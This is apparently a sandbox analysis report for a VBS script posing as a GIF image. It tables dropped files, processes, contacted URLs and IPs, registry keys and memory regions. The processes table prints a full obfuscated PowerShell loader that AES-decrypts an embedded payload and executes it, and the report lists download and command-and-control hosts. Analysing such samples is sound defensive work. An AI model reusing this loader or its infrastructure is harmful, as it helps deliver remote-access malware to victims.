Files
File Path
|
Type
|
Category
|
Malicious
|
|
---|---|---|---|---|
crosscheckrosefloweronhairbeauty.gIF.vbs
|
Unicode text, UTF-16, little-endian text, with CRLF line terminators
|
initial sample
|
||
C:\Users\user\AppData\Local\Temp\note\nots.dat
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\json[1].json
|
JSON data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\paste1[1].txt
|
ASCII text, with CRLF line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5kmcfqlu.b0o.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rf3wyko2.jyk.ps1
|
ASCII text, with no line terminators
|
dropped
|
Processes
Path
|
Cmdline
|
Malicious
|
|
---|---|---|---|
C:\Windows\System32\wscript.exe
|
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\crosscheckrosefloweronhairbeauty.gIF.vbs"
|
||
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged
= New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g
= [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key
= ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes
= [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes
= TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return
[System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53289677559390085198936330541601CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64
= '+'CnIfBvRZYArRiXxb9pLfOWJSzhLRPd5I7zACTsYJPbnDRxmpMjLudBMxIclsh5G1oAEB4NHw+gqZ73NYAtRuPEZbun7w27uHNUU/2UZk0vwixZZjYF8SBUg7cmFK0nSMgU1Iow3bYmuii7NK55sdrSb83T7TlGZY91+Moz0ZBIk/0eAU2wf8Py5IgxbPrmhkNHTpbZFW/Al0eMV2MWxPeHSmQgZ//aQ5gn4Og/LInIlaSIqzqvxWq5kou0WIQo/72zG6+7hFvlR6cDOFO2EYak1CZ8irRCX18qAZvDaSJk/li/7cM0YyGDGjetxHvddCjxoFrsIzOoFr80ro7ty8kqQMtvLfXWiRbyxHtkF3NxaNwlxDUG/Htly5mpzTXN98K6Fnob44pHV6WFmrTRzBeXFvRMXFrkrC3t4BnQoCxsRB6x1sycYX2BAgD4vDPPYxPb47dSqUAoFV4NMTMVwtucrwLJdlZlPd2EnjstlapgPGyqeDuq+TKGWTRY7Z1C3vRcmlGe+lnY3QnpSNHNLl/haCmRsH4gMWyr4W/C2zNKguYI0N/PuyhAYi7YLD4A/NHjUcCY9rhxCg197+PLu/OwLBOl0CXgp/Ts85zFpV7WYNvBVPdgWvIPMkzBwQ+49ILJWVxcCDdE6JmR5Fq9tx9CQCnQJHN8uHPYaUlZ0ReVI/npl7GN05N9Obi18FtHe8U5TJh3++s3GfoiYW9BhKgh39janXG8zoXy6iZOVv1CDPHimFt85ZaMs1Bo+CmL5lnsudxNiDoq44/2E5DtzNoWEzZ+OQLsOM9Zh7Lke8w81xDJOSxVmqDoOcMa4I6/NsXFAlOTeKkhDmJCHTUB/Ks2qy+xvWMe77WJAkO37XgYyBUTA46+w+NVfiXxSstunWVvAjPztuMG9ekqgyxG0tWnqnXcuN/TQwZP47Z83ALuTurZOTykuQEXA42lNWU8mibH2upcIACt8NoPw3r5fRNvJc322KLiLSEJOJDDwYQP3uPDW9ylYqnz9saWGUF7wyvlEIrk5vKGo+vuncoCtLyjSFU2NNWq/OUhm3YFstmHb00qRls8jshNFDeskT+9HrCwRd5P+6kLq2cCc1OCMU4SwDWZMZEi/L5oEW5wJXHXG/5VBwshKqSiAF1ojathm5reHGj8cBBQcmfmNAiBhE+cYjLiJ1HYdwmhWRlD9k2l7IrpPf72Zqiu2AJE1o7WKFUPAGFRCXzrDrRaHWxr27DK2NG8lOEVbh92cuVyNGBlhPQft0FbKGvaWYwCm9BS9uJ8iakplRHRpzvLdk5Vw06NR0Yrav4GBiDdk6DqZecDjAKZoBxoCZOav+ztJKIbgKzOMNv18CX9tBGDWY/69/2jI7bvSx+CwNi/hpj3s9iK+SwzIrpD+dFAIiQcmP3Wj4TFZaBEjn++UcwcO3C2sjME5q86SXNGxzQs3i74Hw5uxEiiJhjft+JA0nP2X91n118uUxgEZdNZYtfDuLLg3uLun/EmKv1DFelh7eFXGEr3moW6nDkt16Q8Vt70kfULUet/WDc5XMsIOU0QFo5WQP9BPNJm7vuhbMBlWp/x8tkFjKO9fCUtgZ3vYKrjvFe1RMsHOuSXcC8eZgwJNI3F0Gtx7Rc2jC2D+CDFPstFXOPDalI6g2hOKB0IzlYPk/GhbZmfoYqm2SfR4VcsG9fjYrUCGhbqag/5m5K5GGlkwdugJl/F/liXwGNmURs4EWFJe3UpAevGgVLpYHIc48Xsqfyu4AfxXZtVkyJXoIc1AzQvH1cvQJm9XokY4SbLS7N7PiDJXCnI;TMItextoDescriptografado
= Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado:
TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34
-cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&(
$verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
|
||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
|
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
URLs
Name
|
IP
|
Malicious
|
|
---|---|---|---|
sembe.duckdns.org
|
|||
https://ia803405.us.archive.org/16/items/new_image_202406/new_image.jpg
|
207.241.232.195
|
||
http://139.99.220.222/55066/RGBC.txt
|
139.99.220.222
|
||
http://geoplugin.net/json.gp
|
178.237.33.50
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txt-Langu
|
unknown
|
||
http://ia803405.us.archive.org
|
unknown
|
||
http://pesterbdd.com/images/Pester.png
|
unknown
|
||
http://geoplugin.net/json.gp/C
|
unknown
|
||
http://www.apache.org/licenses/LICENSE-2.0.html
|
unknown
|
||
http://geoplugin.net/json.gpp
|
unknown
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txtsh
|
unknown
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txtB
|
unknown
|
||
https://pastecode.dev/
|
unknown
|
||
https://ia803405.us.archive.org
|
unknown
|
||
https://aka.ms/pscore68
|
unknown
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txt
|
172.66.43.27
|
||
http://geoplugin.net/json.gpsystem32
|
unknown
|
||
http://geoplugin.net/json.gpl.j
|
unknown
|
||
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
||
https://github.com/Pester/Pester
|
unknown
|
||
https://pastecode.dev/raw/6l7qjjrz/paste1.txts
|
unknown
|
||
http://geoplugin.net/json.gp_
|
unknown
|
There are 12 hidden URLs, click here to show them.
Domains
Name
|
IP
|
Malicious
|
|
---|---|---|---|
ia803405.us.archive.org
|
207.241.232.195
|
||
sembe.duckdns.org
|
194.187.251.115
|
||
geoplugin.net
|
178.237.33.50
|
||
pastecode.dev
|
172.66.43.27
|
IPs
IP
|
Domain
|
Country
|
Malicious
|
|
---|---|---|---|---|
207.241.232.195
|
ia803405.us.archive.org
|
United States
|
||
139.99.220.222
|
unknown
|
Canada
|
||
194.187.251.115
|
sembe.duckdns.org
|
United Kingdom
|
||
172.66.43.27
|
pastecode.dev
|
United States
|
||
178.237.33.50
|
geoplugin.net
|
Netherlands
|
Registry
Path
|
Value
|
Malicious
|
|
---|---|---|---|
HKEY_CURRENT_USER\SOFTWARE\Rmc-999Z97
|
exepath
|
||
HKEY_CURRENT_USER\SOFTWARE\Rmc-999Z97
|
licence
|
||
HKEY_CURRENT_USER\SOFTWARE\Rmc-999Z97
|
time
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableAutoFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
ConsoleTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
MaxFileSize
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileDirectory
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableAutoFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
ConsoleTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
MaxFileSize
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileDirectory
|
There are 7 hidden registries, click here to show them.
Memdumps
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
---|---|---|---|---|
144A000
|
heap
|
page read and write
|
||
400000
|
remote allocation
|
page execute and read and write
|
||
1DE36716000
|
trusted library allocation
|
page read and write
|
||
19F7C07D000
|
heap
|
page read and write
|
||
1310000
|
heap
|
page read and write
|
||
19F7BFCB000
|
heap
|
page read and write
|
||
19F7DF27000
|
heap
|
page read and write
|
||
19F7DF21000
|
heap
|
page read and write
|
||
19F7DE80000
|
heap
|
page read and write
|
||
19F7DE80000
|
heap
|
page read and write
|
||
2F5C000
|
stack
|
page read and write
|
||
19F7DE1D000
|
heap
|
page read and write
|
||
1D339FE000
|
stack
|
page read and write
|
||
1D33DFE000
|
stack
|
page read and write
|
||
19F7DE2A000
|
heap
|
page read and write
|
||
19F7DFD8000
|
heap
|
page read and write
|
||
19F7C07D000
|
heap
|
page read and write
|
||
53D72FE000
|
stack
|
page read and write
|
||
19F7DFAA000
|
heap
|
page read and write
|
||
19F7E800000
|
heap
|
page read and write
|
||
19F7C094000
|
heap
|
page read and write
|
||
1DE2DDEC000
|
heap
|
page read and write
|
||
19F7DF77000
|
heap
|
page read and write
|
||
19F7E1F0000
|
heap
|
page read and write
|
||
19F7DF97000
|
heap
|
page read and write
|
||
53D747E000
|
stack
|
page read and write
|
||
19F7DE26000
|
heap
|
page read and write
|
||
19F7C070000
|
heap
|
page read and write
|
||
12E0000
|
heap
|
page read and write
|
||
19F7DE83000
|
heap
|
page read and write
|
||
19F7BFDF000
|
heap
|
page read and write
|
||
19F7DE80000
|
heap
|
page read and write
|
||
19F7DE4F000
|
heap
|
page read and write
|
||
19F7E801000
|
heap
|
page read and write
|
||
19F7DE32000
|
heap
|
page read and write
|
||
19F7C094000
|
heap
|
page read and write
|
||
19F7DE80000
|
heap
|
page read and write
|
||
10FC000
|
stack
|
page read and write
|
||
32DF000
|
stack
|
page read and write
|
||
14C0000
|
heap
|
page read and write
|
||
19F7DAA0000
|
remote allocation
|
page read and write
|
||
19F7DE80000
|
heap
|
page read and write
|
||
19F7DE81000
|
heap
|
page read and write
|
||
19F7DE12000
|
heap
|
page read and write
|
||
2F1E000
|
stack
|
page read and write
|
||
1DE2DDB1000
|
heap
|
page read and write
|
||
19F7DE53000
|
heap
|
page read and write
|
||
14C4000
|
heap
|
page read and write
|
||
19F7DE14000
|
heap
|
page read and write
|
||
1DE30D13000
|
trusted library allocation
|
page read and write
|
||
53D83CD000
|
stack
|
page read and write
|
||
1DE2DDF0000
|
heap
|
page read and write
|
||
1300000
|
heap
|
page read and write
|
||
1DE302AE000
|
trusted library allocation
|
page read and write
|
||
19F7DE80000
|
heap
|
page read and write
|
||
19F7DAA0000
|
remote allocation
|
page read and write
|
||
19F7E025000
|
heap
|
page read and write
|
||
53D74FD000
|
stack
|
page read and write
|
||
19F7E220000
|
heap
|
page read and write
|
||
19F7DE80000
|
heap
|
page read and write
|
||
39DF000
|
stack
|
page read and write
|
||
478000
|
remote allocation
|
page execute and read and write
|
||
19F7C07F000
|
heap
|
page read and write
|
||
19F7E400000
|
trusted library allocation
|
page read and write
|
||
1DE37116000
|
trusted library allocation
|
page read and write
|
||
3B1B000
|
stack
|
page read and write
|
||
19F7DE68000
|
heap
|
page read and write
|
||
53D75F7000
|
stack
|
page read and write
|
||
19F7DFA6000
|
heap
|
page read and write
|
||
19F7DE1A000
|
heap
|
page read and write
|
||
19F7BFA0000
|
heap
|
page read and write
|
||
53D6F2E000
|
stack
|
page read and write
|
||
474000
|
remote allocation
|
page execute and read and write
|
||
19F7DFD8000
|
heap
|
page read and write
|
||
53D7679000
|
stack
|
page read and write
|
||
53D737D000
|
stack
|
page read and write
|
||
3CCE000
|
stack
|
page read and write
|
||
19F7DFA6000
|
heap
|
page read and write
|
||
1DE2FDE0000
|
heap
|
page read and write
|
||
19F7DF97000
|
heap
|
page read and write
|
||
1DE30313000
|
trusted library allocation
|
page read and write
|
||
53D797C000
|
stack
|
page read and write
|
||
19F7DE5C000
|
heap
|
page read and write
|
||
19F7DFD8000
|
heap
|
page read and write
|
||
19F7DF39000
|
heap
|
page read and write
|
||
1DE2FDB0000
|
heap
|
page execute and read and write
|
||
1220000
|
heap
|
page read and write
|
||
19F7DF79000
|
heap
|
page read and write
|
||
1DE302A4000
|
trusted library allocation
|
page read and write
|
||
19F7DAA0000
|
remote allocation
|
page read and write
|
||
1DE302E5000
|
trusted library allocation
|
page read and write
|
||
1DE2F800000
|
trusted library allocation
|
page read and write
|
||
19F7E3F0000
|
heap
|
page read and write
|
||
1D343FB000
|
stack
|
page read and write
|
||
19F7DF70000
|
heap
|
page read and write
|
||
19F7C07D000
|
heap
|
page read and write
|
||
19F7DA60000
|
heap
|
page read and write
|
||
1474000
|
heap
|
page read and write
|
||
1440000
|
heap
|
page read and write
|
||
19F7DF70000
|
heap
|
page read and write
|
||
19F7DE81000
|
heap
|
page read and write
|
||
19F7DF2B000
|
heap
|
page read and write
|
||
1DE32B14000
|
trusted library allocation
|
page read and write
|
||
19F7C07F000
|
heap
|
page read and write
|
||
19F7E80C000
|
heap
|
page read and write
|
||
19F7BF30000
|
heap
|
page read and write
|
||
19F7DE80000
|
heap
|
page read and write
|
||
53D73FE000
|
stack
|
page read and write
|
||
1DE35339000
|
trusted library allocation
|
page read and write
|
||
19F7C094000
|
heap
|
page read and write
|
||
1D33FFB000
|
stack
|
page read and write
|
||
1DE30014000
|
trusted library allocation
|
page read and write
|
||
19F7DAC0000
|
heap
|
page read and write
|
||
1DE2E105000
|
heap
|
page read and write
|
||
331E000
|
stack
|
page read and write
|
||
1DE34914000
|
trusted library allocation
|
page read and write
|
||
19F7C07D000
|
heap
|
page read and write
|
||
19F7DE53000
|
heap
|
page read and write
|
||
19F7BFCC000
|
heap
|
page read and write
|
||
19F7DE81000
|
heap
|
page read and write
|
||
19F7DF3D000
|
heap
|
page read and write
|
||
19F7DF77000
|
heap
|
page read and write
|
||
19F7C140000
|
heap
|
page read and write
|
||
1DE2DDC3000
|
heap
|
page read and write
|
||
1DE2DD30000
|
heap
|
page read and write
|
||
1DE34910000
|
trusted library allocation
|
page read and write
|
||
2E1D000
|
stack
|
page read and write
|
||
19F7C010000
|
heap
|
page read and write
|
||
1DE31713000
|
trusted library allocation
|
page read and write
|
||
19F7DE80000
|
heap
|
page read and write
|
||
1D338FE000
|
stack
|
page read and write
|
||
19F7C004000
|
heap
|
page read and write
|
||
3F0E000
|
stack
|
page read and write
|
||
1320000
|
heap
|
page read and write
|
||
1DE2DDA2000
|
heap
|
page read and write
|
||
19F7DF62000
|
heap
|
page read and write
|
||
1DE2DD20000
|
heap
|
page read and write
|
||
19F7DE80000
|
heap
|
page read and write
|
||
53D7578000
|
stack
|
page read and write
|
||
1DE34939000
|
trusted library allocation
|
page read and write
|
||
53D77FF000
|
stack
|
page read and write
|
||
1DE302B4000
|
trusted library allocation
|
page read and write
|
||
309C000
|
stack
|
page read and write
|
||
19F7DE36000
|
heap
|
page read and write
|
||
19F7C07F000
|
heap
|
page read and write
|
||
19F7DE80000
|
heap
|
page read and write
|
||
19F7DF21000
|
heap
|
page read and write
|
||
53D78FF000
|
stack
|
page read and write
|
||
53D834E000
|
stack
|
page read and write
|
||
19F7DF24000
|
heap
|
page read and write
|
||
1D33EFB000
|
stack
|
page read and write
|
||
1DE2DDEA000
|
heap
|
page read and write
|
||
19F7BE30000
|
heap
|
page read and write
|
||
1140000
|
heap
|
page read and write
|
||
19F7DFAE000
|
heap
|
page read and write
|
||
19F7E007000
|
heap
|
page read and write
|
||
19F7DE11000
|
heap
|
page read and write
|
||
1DE2FE73000
|
trusted library allocation
|
page read and write
|
||
53D757E000
|
stack
|
page read and write
|
||
1DE2E100000
|
heap
|
page read and write
|
||
19F7DF97000
|
heap
|
page read and write
|
||
53D787E000
|
stack
|
page read and write
|
||
19F7E020000
|
heap
|
page read and write
|
||
1DE2DD6B000
|
heap
|
page read and write
|
||
1DE32114000
|
trusted library allocation
|
page read and write
|
||
1DE2DDAB000
|
heap
|
page read and write
|
||
1DE2FBF7000
|
heap
|
page read and write
|
||
19F7C145000
|
heap
|
page read and write
|
||
19F7C035000
|
heap
|
page read and write
|
||
19F7C094000
|
heap
|
page read and write
|
||
19F7C07F000
|
heap
|
page read and write
|
||
DDC000
|
stack
|
page read and write
|
||
19F7C035000
|
heap
|
page read and write
|
||
1DE2FDF1000
|
trusted library allocation
|
page read and write
|
||
3A1D000
|
stack
|
page read and write
|
||
1DE2F770000
|
trusted library allocation
|
page read and write
|
||
19F7DE3A000
|
heap
|
page read and write
|
||
19F7C070000
|
heap
|
page read and write
|
||
19F7E80E000
|
heap
|
page read and write
|
||
1D33BFF000
|
stack
|
page read and write
|
||
19F7DE2D000
|
heap
|
page read and write
|
||
19F7DE43000
|
heap
|
page read and write
|
||
1DE3490C000
|
trusted library allocation
|
page read and write
|
||
1250000
|
heap
|
page read and write
|
||
1DE2DD8A000
|
heap
|
page read and write
|
||
19F7C070000
|
heap
|
page read and write
|
||
1D341FE000
|
stack
|
page read and write
|
||
1DE2F720000
|
heap
|
page read and write
|
||
19F7DE80000
|
heap
|
page read and write
|
||
53D76FC000
|
stack
|
page read and write
|
||
19F7BFD0000
|
heap
|
page read and write
|
||
3B5D000
|
stack
|
page read and write
|
||
53D6EA3000
|
stack
|
page read and write
|
||
1D33CFF000
|
stack
|
page read and write
|
||
53D6FAF000
|
stack
|
page read and write
|
||
19F7BFCF000
|
heap
|
page read and write
|
||
19F7C094000
|
heap
|
page read and write
|
||
19F7C094000
|
heap
|
page read and write
|
||
1D335A4000
|
stack
|
page read and write
|
||
1DE2F8A4000
|
heap
|
page read and write
|
||
1DE33F14000
|
trusted library allocation
|
page read and write
|
||
1DE2DF30000
|
heap
|
page read and write
|
||
19F7C010000
|
heap
|
page read and write
|
||
1255000
|
heap
|
page read and write
|
||
3C5E000
|
stack
|
page read and write
|
||
19F7DE10000
|
heap
|
page read and write
|
||
19F7DE80000
|
heap
|
page read and write
|
||
305F000
|
stack
|
page read and write
|
||
1DE2F8A0000
|
heap
|
page read and write
|
||
1DE302C0000
|
trusted library allocation
|
page read and write
|
||
19F7C0F0000
|
heap
|
page read and write
|
||
1DE37B16000
|
trusted library allocation
|
page read and write
|
||
341F000
|
stack
|
page read and write
|
||
19F7DF70000
|
heap
|
page read and write
|
||
19F7C070000
|
heap
|
page read and write
|
||
14B0000
|
heap
|
page read and write
|
||
19F7C094000
|
heap
|
page read and write
|
||
1DE35D16000
|
trusted library allocation
|
page read and write
|
||
19F7DE46000
|
heap
|
page read and write
|
||
1DE2DE56000
|
heap
|
page read and write
|
||
3E0E000
|
stack
|
page read and write
|
||
1DE2F780000
|
heap
|
page readonly
|
||
19F7DFD8000
|
heap
|
page read and write
|
||
19F7DFA6000
|
heap
|
page read and write
|
||
19F7E140000
|
heap
|
page read and write
|
||
31DE000
|
stack
|
page read and write
|
||
1DE33514000
|
trusted library allocation
|
page read and write
|
||
19F7DF3C000
|
heap
|
page read and write
|
||
319F000
|
stack
|
page read and write
|
||
1DE302BC000
|
trusted library allocation
|
page read and write
|
||
19F7DF62000
|
heap
|
page read and write
|
||
19F7DE12000
|
heap
|
page read and write
|
||
19F7C004000
|
heap
|
page read and write
|
||
1D340FF000
|
stack
|
page read and write
|
||
19F7BF10000
|
heap
|
page read and write
|
||
19F7BFA9000
|
heap
|
page read and write
|
||
1DE2FD80000
|
heap
|
page execute and read and write
|
||
53D727E000
|
stack
|
page read and write
|
||
19F7DEB9000
|
heap
|
page read and write
|
||
1492000
|
heap
|
page read and write
|
||
19F7E803000
|
heap
|
page read and write
|
||
1DE2DE5C000
|
heap
|
page read and write
|
||
53D6FEE000
|
stack
|
page read and write
|
||
1DE2F750000
|
trusted library allocation
|
page read and write
|
||
1DE302E3000
|
trusted library allocation
|
page read and write
|
||
53D777E000
|
stack
|
page read and write
|
||
19F7E002000
|
heap
|
page read and write
|
||
3DCF000
|
stack
|
page read and write
|
||
19F7DF97000
|
heap
|
page read and write
|
||
19F7DF62000
|
heap
|
page read and write
|
||
19F7DF97000
|
heap
|
page read and write
|
||
1DE2DDA5000
|
heap
|
page read and write
|
||
1DE2DD60000
|
heap
|
page read and write
|
||
38DE000
|
stack
|
page read and write
|
There are 244 hidden memdumps, click here to show them.